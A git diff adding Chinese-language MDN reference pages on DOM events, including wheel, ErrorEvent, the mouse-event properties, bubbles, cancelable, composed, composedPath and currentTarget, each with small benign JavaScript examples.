+                event.deltaY = - 1/40 * originalEvent.wheelDelta;
+                // Webkit also support wheelDeltaX
+                originalEvent.wheelDeltaX && ( event.deltaX = - 1/40 * originalEvent.wheelDeltaX );
+            } else {
+                event.deltaY = originalEvent.detail;
+            }
+
+            // it's time to fire the callback
+            return callback( event );
+
+        }, useCapture || false );
+    }
+
+})(window,document);
+ +

Gecko notes

+ +

滚轮事件和其它的鼠标滚动事件

+ +

如果一个用户真实操作触发的滚轮事件没有被处理, 这会触发一个 DOMMouseScroll 事件和一个 MozMousePixelScroll 事件以向下兼容. 它们的属性值由滚轮事件delta值和最近的ancestor clipped元素计算出。(i.e., overflow 不可见). 如果滚轮事件或其它任意一个剩余事件被 {{ domxref("event.preventDefault()") }}阻止, 将什么都不会发生。

+ +

以下为事件顺序:

+ +
    +
  1. 滚轮事件处于默认事件组 (web应用和浏览器插件都可以处理这个组的事件)
  2. +
  3. 当连续滚轮事件 deltaY 的值累计大于1或小于-1时,竖直方向的 DOMMouseScroll 事件既属于默认事件组也属于系统事件组
  4. +
  5. 当最近的滚轮事件的 deltaY 值非零时,两个事件组都包含竖直方向的 MozMousePixelScroll 事件
  6. +
  7. 当连续滚轮事件 deltaX 的值累计大于1或小于-1时,两个事件组都包含水平方向的 DOMMouseScroll 事件
  8. +
  9. 当最近的滚轮事件的 deltaX 值非零时,两个事件组都包含水平方向的 MozMousePixelScroll 事件
  10. +
  11. 一个滚轮事件处于系统事件组 (只有浏览器插件可以处理这个组的事件)
  12. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
各个事件调用 preventDefault() 会发生什么?
wheel (default event group)preventDefault() called
DOMMouseScroll (Vertical)Not firedpreventDefault() called
MozMousePixelScroll (Vertical)Not fireddefaultPrevented is truepreventDefault() called
DOMMouseScroll (Horizontal)Not firedNot affectedNot affectedpreventDefault() called
MozMousePixelScroll (Horizontal)Not firedNot affectedNot affecteddefaultPrevented is truepreventDefault() called
wheel (system event group)defaultPrevented is truedefaultPrevented is truedefaultPrevented is truedefaultPrevented is truedefaultPrevented is true
+ +

如果一个浏览器插件需要知道剩余事件是否被web内容所处理,它可以使用第6个滚轮事件判断,详细内容请查阅系统事件组 nsIEventListenerService 的文档。

+ +

通过设置用户偏好可以修改delta值和默认行为 (details), 因此开发者不应该期望在处理这个事件后发生特殊的行为。

+ +

delta 值

+ +

delta 值并不代表默认情况下的实际滚动值,如果用户在滚动滚轮时按住其他键,可能会产生其他行为,比如在浏览记录中前进/回退,或者放大/缩小网页内容。 此外,滚动过程中被滚动的元素不一定是目标元素,滚轮事件的目标元素是由事件触发时光标所在位置计算出的。 That event may not only not be the one actually being scrolled, 甚至都不可滚动。

+ +

deltaMode 值

+ +

在 Windows 下, 以下三个原生事件造成了 DOM 滚轮事件。

+ +
+
WM_MOUSEWHEEL (竖直方向的滚动事件)
+
deltaMode 值可以是 DOM_DELTA_LINE 或 DOM_DELTA_PAGE。它取决于 Windows 的用户设置 (默认设置为 DOM_DELTA_LINE)。
+
WM_MOUSEHWHEEL (水平方向的滚动事件)
+
deltaMode 值可以是 DOM_DELTA_LINE 或 DOM_DELTA_PAGE。然而 Windows 的滚轮速度设置界面和鼠标驱动工具都没有提供改为 page scroll 的选项。 所以这个值通常为 DOM_DELTA_LINE.
+
WM_GESTURE (Only when caused by panning)
+
deltaMode 值总是 DOM_DELTA_PIXEL。但请注意大多数笔记本的触摸板都在模拟鼠标滚轮事件而不是调用这个事件, WM_GESTURE 事件通常被平板电脑使用。
+
+ +

在 Mac 下 deltaMode 值由设备决定. 如果设备支持高分辨率像素级滚动, deltaMode 值就是典型的 DOM_DELTA_PIXEL. 然而用户可以通过加前缀"mousewheel.enable_pixel_scrolling"将其改变为 DOM_DELTA_LINE 。如果设备不支持高分辨率滚动,那么 deltaModel 值将一直为 DOM_DELTA_LINE.

+ +

在其它平台下, deltaMode 值总是 DOM_DELTA_LINE.

+ +

Untrusted events

+ +

非用户真实操作触发的滚轮事件不会引发默认行为。

+ +

参考

+ + diff --git a/files/zh-cn/web/api/entity/index.html b/files/zh-cn/web/api/entity/index.html new file mode 100644 index 0000000000..2e05365217 --- /dev/null +++ b/files/zh-cn/web/api/entity/index.html @@ -0,0 +1,52 @@ +--- +title: Entity +slug: Web/API/Entity +translation_of: Web/API/Entity +--- +

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

+ +

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

+ +

属性

+ +
+
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
+
Is a {{domxref("DOMString")}}.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/web/api/errorevent/index.html b/files/zh-cn/web/api/errorevent/index.html new file mode 100644 index 0000000000..963187ef0d --- /dev/null +++ b/files/zh-cn/web/api/errorevent/index.html @@ -0,0 +1,75 @@ +--- +title: ErrorEvent +slug: Web/API/ErrorEvent +tags: + - API + - Event +translation_of: Web/API/ErrorEvent +--- +

{{APIRef("HTML DOM")}}

+ +

ErrorEvent 事件对象在脚本发生错误时产生,它可以提供发生错误的脚本文件的文件名,以及发生错误时所在的行号等信息。

+ +

属性

+ +

除了从 {{domxref("Event")}} 接口继承来的属性外,还有下面这些自身属性。

+ +
+
{{domxref("ErrorEvent.prototype.message")}} {{readonlyInline}}
+
一个{{domxref("DOMString","字符串")}},包含了所发生错误的描述信息。
+
{{domxref("ErrorEvent.prototype.filename")}} {{readonlyInline}}
+
一个 {{domxref("DOMString","字符串")}},包含了发生错误的脚本文件的文件名。
+
{{domxref("ErrorEvent.prototype.lineno")}} {{readonlyInline}}
+
一个数字,包含了错误发生时所在的行号。
+
{{domxref("ErrorEvent.prototype.colno")}} {{readonlyInline}}
+
一个数字,包含了错误发生时所在的列号。
+
{{domxref("ErrorEvent.prototype.error")}} {{readonlyInline}} {{experimental_inline}}
+
发生错误时所抛出的 {{jsxref("Error")}} 对象。
+
+ +

构造函数

+ +
+
{{domxref("ErrorEvent.ErrorEvent", "ErrorEvent()")}}
+
根据传入的参数构造 ErrorEvent 实例。
+
+ +

方法

+ +

除了从 {{domxref("Event")}} 接口继承来的方法外,没有其他方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范名称规范状态备注
{{ SpecName('HTML WHATWG', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}{{ Spec2('HTML WHATWG') }}增加了 error 属性以及其构造函数的第五个参数
{{ SpecName('HTML5 W3C', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }}{{ Spec2('HTML5 W3C') }}最初规范
+ +

浏览器兼容性

+ + + +

{{Compat("api.ErrorEvent")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/event.altkey/index.html b/files/zh-cn/web/api/event.altkey/index.html new file mode 100644 index 0000000000..10b91aab4f --- /dev/null +++ b/files/zh-cn/web/api/event.altkey/index.html @@ -0,0 +1,43 @@ +--- +title: event.altKey +slug: Web/API/event.altKey +translation_of: Web/API/MouseEvent/altKey +--- +

{{ ApiRef() }}

+

概述

+

表明当事件触发时,ALT键是否处于按下的状态.

+

语法

+
event.altKey
+
+

例子

+
var bool = event.altKey;
+
+

如果当事件触发时,ALT键处于按下的状态,则bool的值为true,否则为false.

+
<html>
+<head>
+<title>altKey 示例</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "按下的键: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "是否按下ALT键: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>
+按下一个字符键,尝试同时按下ALT键.<br />
+你也可以同时按下SHIFT键和ALT键.
+</p>
+</body>
+</html>
+
+

规范

+

DOM Level 2 Events - property of MouseEvent object

+

{{ languages( { "ja": "ja/DOM/event.altKey", "pl": "pl/DOM/event.altKey", "en": "en/DOM/event.altKey" } ) }}

diff --git a/files/zh-cn/web/api/event.button/index.html b/files/zh-cn/web/api/event.button/index.html new file mode 100644 index 0000000000..1dbeb3eb35 --- /dev/null +++ b/files/zh-cn/web/api/event.button/index.html @@ -0,0 +1,81 @@ +--- +title: event.button +slug: Web/API/event.button +translation_of: Web/API/MouseEvent/button +--- +

{{ ApiRef() }}

+

概述

+

表明当前事件是由鼠标的哪个按键触发的.

+

语法

+
event.button
+
+

例子

+
var buttonCode = event.button;
+
+

该属性返回一个整数值,代表触发当前事件的鼠标按键.在通常情况下,对应关系如下:

+ +
+ 注意: IE不遵守 See QuirksMode for details.
+

The order of buttons may be different depending on how the pointing device has been configured.

+

例子

+
<script>
+var whichButton = function (e) {
+    // 处理不同的事件模型
+    var e = e || window.event;
+    var btnCode;
+
+    if ('object' === typeof e) {
+        btnCode = e.button;
+
+        switch (btnCode) {
+            case 0:
+                alert('你按了左键.');
+            break;
+            case 1:
+                alert('你按了中键.');
+            break;
+            case 2:
+                alert('你按了右键.');
+            break;
+            default:
+                alert('未知按键: ' + btnCode);
+        }
+    }
+}
+</script>
+
+<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">请点击鼠标...</button>
+
+

备注

+

Because mouse clicks are frequently intercepted by the user interface, it may be difficult to detect buttons other than those for a standard mouse click (usually the left button) in some circumstances.

+

Users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.

+

规范

+

DOM 2 Events Specification: button

+

浏览器兼容性

+

Based on Jan Wolter's JavaScript Madness: Mouse Events.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + +
FeatureGeckoWebkitInternet ExplorerOpera
Basic support152398
+
+

{{ languages( { "ja": "ja/DOM/event.button", "pl": "pl/DOM/event.button" ,"en": "en/DOM/event.button" } ) }}

diff --git a/files/zh-cn/web/api/event.relatedtarget/index.html b/files/zh-cn/web/api/event.relatedtarget/index.html new file mode 100644 index 0000000000..667ea1cf9f --- /dev/null +++ b/files/zh-cn/web/api/event.relatedtarget/index.html @@ -0,0 +1,123 @@ +--- +title: event.relatedTarget +slug: Web/API/event.relatedTarget +translation_of: Web/API/MouseEvent/relatedTarget +--- +

 

+ +

{{APIRef("DOM")}}

+ +

简要

+ +

为事件标识第二目标

+ +

描述

+ +

relatedTarget 属性用于在一个事件中查找另外一个元素。有些事件比如 mouseover 通常侧重处理一个特定的目标,而有些有也可能会涉及到第二目标,比如当目标退出第一目标的 mouseover 事件.

+ +

事件

+ +

只有 MouseEvents 有这个属性,而且这些些只在特定的 MouseEvents 事件中有效:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件名relatedTarget role
focusin哪个 {{domxref("EventTarget")}} 失去焦点
focusout哪个 {{domxref("EventTarget")}} 获得焦点
mouseenter鼠标从哪个 {{domxref("EventTarget")}} 进来
mouseleave鼠标移到哪个{{domxref("EventTarget")}} 去
mouseout鼠标移到哪个{{domxref("EventTarget")}} 去
mouseover鼠标从哪个{{domxref("EventTarget")}} 进来
dragenter鼠标从哪个{{domxref("EventTarget")}} 进来
dragexit鼠标移到哪个{{domxref("EventTarget")}} 去
+ +

示例

+ +
<!DOCTYPE html>
+<html>
+<head>
+
+<style>
+div > div {
+  height: 128px;
+  width: 128px;
+}
+#top    { background-color: red; }
+#bottom { background-color: blue; }
+</style>
+
+<script>
+function outListener(event) {
+  console.log("exited " + event.target.id + " for " + event.relatedTarget.id);
+}
+
+function overListener(event) {
+  console.log("entered " + event.target.id + " from " + event.relatedTarget.id);
+}
+
+function loadListener() {
+  var top = document.getElementById("top"),
+      bottom = document.getElementById("bottom");
+
+  top.addEventListener("mouseover", overListener);
+  top.addEventListener("mouseout", outListener);
+  bottom.addEventListener("mouseover", overListener);
+  bottom.addEventListener("mouseout", outListener);
+}
+</script>
+
+</head>
+
+<body onload="loadListener();">
+
+<div id="outer">
+  <div id="top"></div>
+  <div id="bottom"></div>
+</div>
+
+</body>
+</html>
+
+ +

在JSFiddle中查看

+ +

Specification

+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/event.shiftkey/index.html b/files/zh-cn/web/api/event.shiftkey/index.html new file mode 100644 index 0000000000..1c79d02d0a --- /dev/null +++ b/files/zh-cn/web/api/event.shiftkey/index.html @@ -0,0 +1,40 @@ +--- +title: event.shiftKey +slug: Web/API/event.shiftKey +translation_of: Web/API/MouseEvent/shiftKey +--- +

{{ ApiRef() }}

+

概述

+

表明当事件触发时,SHIFT键是否处于按下状态.

+

语法

+
var bool = event.shiftKey;
+
+

bool 的值为 truefalse

+

例子

+
<html>
+<head>
+<title>shiftKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>按下一个字符键,尝试同时按下SHIFT键.<br />
+你也可以同时按下SHIFT键和ALT键.</p>
+</body>
+</html>
+
+

规范

+

shiftKey

+

{{ languages( { "pl": "pl/DOM/event.shiftKey" ,"en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/zh-cn/web/api/event/bubbles/index.html b/files/zh-cn/web/api/event/bubbles/index.html new file mode 100644 index 0000000000..0d3c205003 --- /dev/null +++ b/files/zh-cn/web/api/event/bubbles/index.html @@ -0,0 +1,27 @@ +--- +title: event.bubbles +slug: Web/API/Event/bubbles +translation_of: Web/API/Event/bubbles +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值,表明当前事件是否会向DOM树上层元素冒泡.

+

语法

+
var bool = event.bubbles;
+
+

备注

+

一些特定的事件类型会冒泡.这时,该事件对象的bubbles属性为true. 你可以检查该属性的值来判断一个事件对象是否冒泡.

+

例子

+
 function goInput(e) {
+  // 检查事件对象是否冒泡
+  if (!e.bubbles) {
+     // 如果不冒泡,则手动传递事件
+     passItOn(e);
+  }
+  // 如果冒泡的话
+  doOutput(e)
+}
+
+

规范

+

event.bubbles

+

{{ languages( { "es": "es/DOM/event.bubbles", "ja": "ja/DOM/event.bubbles", "pl": "pl/DOM/event.bubbles" , "zh-cn": "zh-cn/DOM/event.bubbles" } ) }}

diff --git a/files/zh-cn/web/api/event/cancelable/index.html b/files/zh-cn/web/api/event/cancelable/index.html new file mode 100644 index 0000000000..260da1a336 --- /dev/null +++ b/files/zh-cn/web/api/event/cancelable/index.html @@ -0,0 +1,74 @@ +--- +title: event.cancelable +slug: Web/API/Event/cancelable +translation_of: Web/API/Event/cancelable +--- +

{{ ApiRef("DOM") }}

+ +

{{domxref("Event")}} 实例的只读属性 cancelable 表明该事件是否可以被取消,当事件被阻止之后,该事件就好像没有被触发一样。如果事件不能被取消,则其 cancelable 属性的值为 false,且事件发生时无法在事件监听回调中停止事件。

+ +

在许多事件的监听回调中调用{{domxref("event.preventDefault", "preventDefault()")}}前,都需要检查 cancelable 属性的值。

+ +

大部分由用户与页面交互产生的原生浏览器事件都可以被取消。取消{{event("click")}},{{event("scroll")}} 或 {{event("beforeunload")}} 事件将分别阻止用户点击某些元素,滚动页面或跳离页面。

+ +

使用其它 JavaScript 代码创建的 Custom events ,可以在初始化事件的时候控制该事件是否可以被取消。

+ +

语法

+ +
bool = event.cancelable;
+ +

+ +

返回结果为 {{domxref("Boolean")}},如果事件可以被取消将返回 true。

+ +

示例

+ +

例如,浏览器厂商提议 {{event("wheel")}} 事件只能在事件监听回调第一次执行时被取消,接下来的 wheel 事件都不能被取消。

+ +
function preventScrollWheel(event) {
+  if (typeof event.cancelable !== 'boolean' || event.cancelable) {
+    // The event can be canceled, so we do so.
+    event.preventDefault();
+  } else {
+    // The event cannot be canceled, so it is not safe
+    // to call preventDefault() on it.
+    console.warn(`The following event couldn't be canceled:`);
+    console.dir(event);
+  }
+}
+
+document.addEventListener('wheel', preventScrollWheel);
+ +

备注

+ +

事件能否被取消取决于该事件初始化时的状态。

+ +

要取消一个事件的默认行为,可以调用该事件的 preventDefault()方法。与该事件关联的默认行为仍将会保留。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-event-cancelable', 'Event.cancelable')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM2 Events', '#Events-Event-canCancel', 'Event.cancelable')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.Event.cancelable")}}

diff --git a/files/zh-cn/web/api/event/comparison_of_event_targets/index.html b/files/zh-cn/web/api/event/comparison_of_event_targets/index.html new file mode 100644 index 0000000000..4efbf5931c --- /dev/null +++ b/files/zh-cn/web/api/event/comparison_of_event_targets/index.html @@ -0,0 +1,166 @@ +--- +title: Comparison of Event Targets +slug: Web/API/Event/Comparison_of_Event_Targets +tags: + - Event +translation_of: Web/API/Event/Comparison_of_Event_Targets +--- +

{{ ApiRef() }}

+ +

Event targets

+ +

It's easy to get confused about which target to examine when writing an event handler. This article should clarify the use of the target properties.

+ +

There are 5 targets to consider:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyDefined inPurpose
event.targetDOM Event Interface +

The DOM element on the lefthand side of the call that triggered this event, eg:

+ +
+element.dispatchEvent(event)
+
+
event.currentTargetDOM Event InterfaceThe EventTarget whose EventListeners are currently being processed. As the event capturing and bubbling occurs this value changes.
event.relatedTargetDOM MouseEvent InterfaceIdentifies a secondary target for the event.
event.explicitOriginalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} If the event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. For example, mouse events are retargeted to their parent node when they happen over text nodes ({{ Bug("185889") }}), and in that case .target will show the parent and .explicitOriginalTarget will show the text node.
+ Unlike .originalTarget, .explicitOriginalTarget will never contain anonymous content.
event.originalTarget{{ Source("/dom/public/idl/events/nsIDOMNSEvent.idl", "nsIDOMNSEvent.idl") }}{{ Non-standard_inline() }} The original target of the event, before any retargetings. See Anonymous Content#Event_Flow_and_Targeting for details.
+ +

Use of explicitOriginalTarget and originalTarget

+ +

TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extension-developers?

+ +

Examples

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <title>Comparison of Event Targets</title>
+    <style>
+        table {
+            border-collapse: collapse;
+            height: 150px;
+            width: 100%;
+        }
+        td {
+            border: 1px solid #ccc;
+            font-weight: bold;
+            padding: 5px;
+            min-height: 30px;
+        }
+        .standard {
+            background-color: #99ff99;
+        }
+        .non-standard {
+            background-color: #902D37;
+        }
+    </style>
+</head>
+<body>
+    <table>
+    <thead>
+        <tr>
+            <td class="standard">Original target dispatching the event <small>event.target</small></td>
+            <td class="standard">Target who's event listener is being processed <small>event.currentTarget</small></td>
+            <td class="standard">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td>
+            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td>
+            <td class="non-standard">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td>
+        </tr>
+    </thead>
+    <tr>
+        <td id="target"></td>
+        <td id="currentTarget"></td>
+        <td id="relatedTarget"></td>
+        <td id="explicitOriginalTarget"></td>
+        <td id="originalTarget"></td>
+    </tr>
+</table>
+<p>Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target</p>
+<script>
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+</script>
+</body>
+</html>
+ +

Use of target and relatedTarget

+ +

The relatedTarget property for the mouseover event holds the node that the mouse was previously over. For the mouseout event, it holds the node that the mouse moved to.

+ + + + + + + + + + + + + + + + + + + +
Event typeevent.targetevent.relatedTarget
mouseoverthe EventTarget which the pointing device enteredthe EventTarget which the pointing device exited
mouseoutthe EventTarget which the pointing device exitedthe EventTarget which the pointing device entered
+ +

TODO: Also needs descriptions about dragenter and dragexit events.

+ +

Example

+ +
<hbox id="outer">
+  <hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' > ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' > ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" />
+</hbox>
+
+ +

 

diff --git a/files/zh-cn/web/api/event/composed/index.html b/files/zh-cn/web/api/event/composed/index.html new file mode 100644 index 0000000000..afc72ea0be --- /dev/null +++ b/files/zh-cn/web/api/event/composed/index.html @@ -0,0 +1,97 @@ +--- +title: Event.composed +slug: Web/API/Event/composed +translation_of: Web/API/Event/composed +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

{{domxref("Event")}} 接口的只读属性 composed 返回一个 {{jsxref("Boolean")}} 值,用来指示该事件是否可以从 Shadow DOM 传递到一般的 DOM。

+ +
+

注意:此属性以前命名为scoped

+
+ +

语法

+ +
var composed = Event.composed;
+ +

+ +

如果返回的 {{jsxref("Boolean")}} 值为 true,表明当事件到达 shadow DOM 的根节点(也就是 shadow DOM 中事件开始传播的第一个节点)时,事件可以从 shadow DOM 传递到一般 DOM。当然,事件要具有可传播性,即该事件的 {{domxref("Event.bubbles", "bubbles")}} 属性必须为 true。你也可以通过调用 {{domxref("Event.composedPath", "composedPath()")}} 来查看事件从 shadow DOM 传播到普通 DOM 的路径。

+ +

如果属性值为 false,那么事件将不会跨越 shadow DOM 的边界传播。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-composed', 'composed')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特点ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatGeckoDesktop(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
特点AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatChrome(53.0)}}{{CompatGeckoMobile(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/event/composedpath/index.html b/files/zh-cn/web/api/event/composedpath/index.html new file mode 100644 index 0000000000..1ab2f9abfb --- /dev/null +++ b/files/zh-cn/web/api/event/composedpath/index.html @@ -0,0 +1,92 @@ +--- +title: Event.composedPath() +slug: Web/API/Event/composedPath +tags: + - API +translation_of: Web/API/Event/composedPath +--- +

{{APIRef("Shadow DOM")}}

+ +

 composedPath() 是 {{domxref("Event")}} 接口的一个方法,当对象数组调用该侦听器时返回事件路径。 如果影子根节点被创建并且{{domxref("ShadowRoot.mode")}}是关闭的,那么该路径不包括影子树中的节点。

+ +

语法

+ +
var composed = Event.composedPath();
+
+ +

参数

+ +

无.

+ +

返回值

+ +

一个 {{domxref("EventTarget")}}对象数组,表示将在其上调用事件侦听器的对象。

+ +

例子

+ +

在我们的 composed-composed-path 例子中,我们定义了两个自定义元素,<open-shadow> 和 <closed-shadow>,两 个全都调用了它们文本属性的内容然后作为<p>  元素的文本内容将它们插入到元素的影子DOM中。两者之间唯一的区别是它们影子的根结点是在它们的模式被分别设置成open 和 closed 的情况下连接的。

+ +

第一个定义就像这样, 比如:

+ +
customElements.define('open-shadow',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let pElem = document.createElement('p');
+      pElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(pElem);
+
+  }
+});
+ +

然后我们在我们的页面中插入其中一个元素:

+ +
<open-shadow text="I have an open shadow root"></open-shadow>
+<closed-shadow text="I have a closed shadow root"></closed-shadow>
+ +

然后在 <html> 元素中插入一个鼠标点击事件:

+ +
document.querySelector('html').addEventListener('click',function(e) {
+  console.log(e.composed);
+  console.log(e.composedPath());
+});
+ +

当你先后点击 <open-shadow> 和 <closed-shadow> 这两个元素, 你将会注意到两件事情. 第一, composed 这个属性返回值为 true 因为 click 事件总能够在影子边界中传播。 第二,你将注意到两个元素中composedPath 的值的不同。 <open-shadow> 元素的组成路径是这个:

+ +
Array [ p, ShadowRoot, open-shadow, body, html, HTMLDocument https://mdn.github.io/web-components-examples/composed-composed-path/, Window ]
+ +

尽管 <closed-shadow> 元素的组成路径是像下面这样:

+ +
Array [ closed-shadow, body, html, HTMLDocument https://mdn.github.io/web-components-examples/composed-composed-path/, Window ]
+ +

在第二个例子中,事件监听器仅能够传播到 <closed-shadow> 元素本身,但是不会到影子边界内的节点。

+ +

规范

+ + + + + + + + + + + + + + +
规格状态评语
{{SpecName('DOM WHATWG', '##dom-event-composedpath', 'composedPath()')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容

+ + + +
+ + +

{{Compat("api.Event.composedPath")}}

+
diff --git a/files/zh-cn/web/api/event/createevent/index.html b/files/zh-cn/web/api/event/createevent/index.html new file mode 100644 index 0000000000..b6fc00174a --- /dev/null +++ b/files/zh-cn/web/api/event/createevent/index.html @@ -0,0 +1,34 @@ +--- +title: Event.createEvent() +slug: Web/API/Event/createEvent +tags: + - DOM + - Event + - JavaScript + - Method +translation_of: Web/API/Document/createEvent +--- +

{{APIRef("DOM")}}

+ +

创建一个新的事件(Event),随之必须调用自身的 init 方法进行初始化。

+ +

语法

+ +
document.createEvent(type) 
+ +
+
type
+
指明待创建事件对象的类型的字符串
+
+ +

此方法返回一个新的特定类型的 DOM {{ domxref("Event") }} 对象,此对象在使用前必须经过初始化(init)。

+ +

示例

+ +
var newEvent = document.createEvent("UIEvents");
+ +

规范

+ + diff --git a/files/zh-cn/web/api/event/currenttarget/index.html b/files/zh-cn/web/api/event/currenttarget/index.html new file mode 100644 index 0000000000..0ed0529962 --- /dev/null +++ b/files/zh-cn/web/api/event/currenttarget/index.html @@ -0,0 +1,88 @@ +--- +title: event.currentTarget +slug: Web/API/Event/currentTarget +tags: + - API + - DOM + - Event + - Property + - Read-only +translation_of: Web/API/Event/currentTarget +--- +

{{APIRef("DOM")}}

+ +

{{domxref("Event")}} 接口的只读属性 currentTarget 表示的,标识是当事件沿着 DOM 触发时事件的当前目标。它总是指向事件绑定的元素,而 {{domxref("Event.target")}} 则是事件触发的元素。

+ +

语法

+ +
var currentEventTarget = event.currentTarget;
+ +

Value

+ +

{{domxref("EventTarget")}}

+ +

例子

+ +

当将相同的事件处理程序附加到多个元素时 event.currentTarget 就很有用。

+ +
function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  console.log(e.currentTarget);
+  // 该函数用作事件处理器时: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i < ps.length; i++){
+  // console: 打印被点击的p元素
+  ps[i].addEventListener('click', hide, false);
+}
+// console: 打印body元素
+document.body.addEventListener('click', hide, false);
+
+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-currenttarget", "Event.currentTarget")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-event-currenttarget", "Event.currentTarget")}}{{Spec2("DOM4")}}
{{SpecName("DOM3 Events", "#dfn-current-event-target", "current event target")}}{{Spec2("DOM3 Events")}}
{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Event.currentTarget")}}

+ +

参考

